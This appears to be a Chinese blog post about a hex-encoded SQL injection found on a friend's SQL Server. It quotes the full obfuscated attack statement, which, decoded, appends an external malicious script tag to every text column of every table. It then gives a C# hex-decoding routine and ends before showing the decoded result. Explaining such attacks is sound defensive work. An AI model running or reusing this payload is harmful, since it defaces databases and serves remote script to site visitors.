SQL Hex Injection 十六进制注入解决方案

今天朋友遇到一个问题，他的sql server 数据库被执行了一条语句
dEcLaRe @s vArChAr(8000) sEt @s=0x6445634c615265204074207641724368417228323535292c406320764172436841722832353529206445634c615265207441624c655f637572736f5220635572536f5220466f522073456c45635420612e6e416d452c622e6e416d452046724f6d207359734f624a6543745320612c735973436f4c754d6e53206220774865526520612e69443d622e694420416e4420612e78547950653d27752720416e442028622e78547950653d3939206f5220622e78547950653d3335206f5220622e78547950653d323331206f5220622e78547950653d31363729206f50654e207441624c655f637572736f52206645744368206e6578742046724f6d207441624c655f637572736f5220694e744f2040742c4063207768696c6528404066457443685f7374617475733d302920624567496e20657865632827557044615465205b272b40742b275d20734574205b272b40632b275d3d727472696d28636f6e7665727428764172436841722c5b272b40632b275d29292b27273c2f7469746c653e223e3c736372697074207372633d687474703a2f2f2536312532452537302537302536442536442536462536462532452536332536453e3c2f7363726970743e3c212d2d27272729206645744368206e6578742046724f6d207441624c655f637572736f5220694e744f2040742c406320654e6420634c6f5365207441624c655f637572736f52206445416c4c6f43615465207441624c655f637572736f52 eXeC(@s)--
从0x可以看出这是一段十六进制编码的sql语句
于是想到将其解码：
对于十六进制字符串编码和解码的C# 方法如下：

}</p> <p> ///
/// 从16进制转换成utf编码的字符串
///
///
/// 编码,如"utf-8","gb2312"
///
public static string UnHex(string hex, string charset)
{
if (hex == null)
throw new ArgumentNullException("hex");
hex = hex.Replace(",", "");
hex = hex.Replace("\n", "");
hex = hex.Replace("\\", "");
hex = hex.Replace(" ", "");
if (hex.Length % 2 != 0)
{
hex += "20";//空格
throw new ArgumentException("hex is not a valid number!", "hex");
}
// 需要将 hex 转换成 byte 数组。
byte[] bytes = new byte[hex.Length / 2];
for (int i = 0; i < bytes.Length; i++)
{
try
{
// 每两个字符是一个 byte。
bytes[i] = byte.Parse(hex.Substring(i * 2, 2),
System.Globalization.NumberStyles.HexNumber);
}
catch
{
// Rethrow an exception with custom message.
throw new ArgumentException("hex is not a valid hex number!", "hex");
}
}
System.Text.Encoding chs = System.Text.Encoding.GetEncoding(charset);</p> <p> return chs.GetString(bytes);
}
</div>
于是对这段代码进行解码：

</div>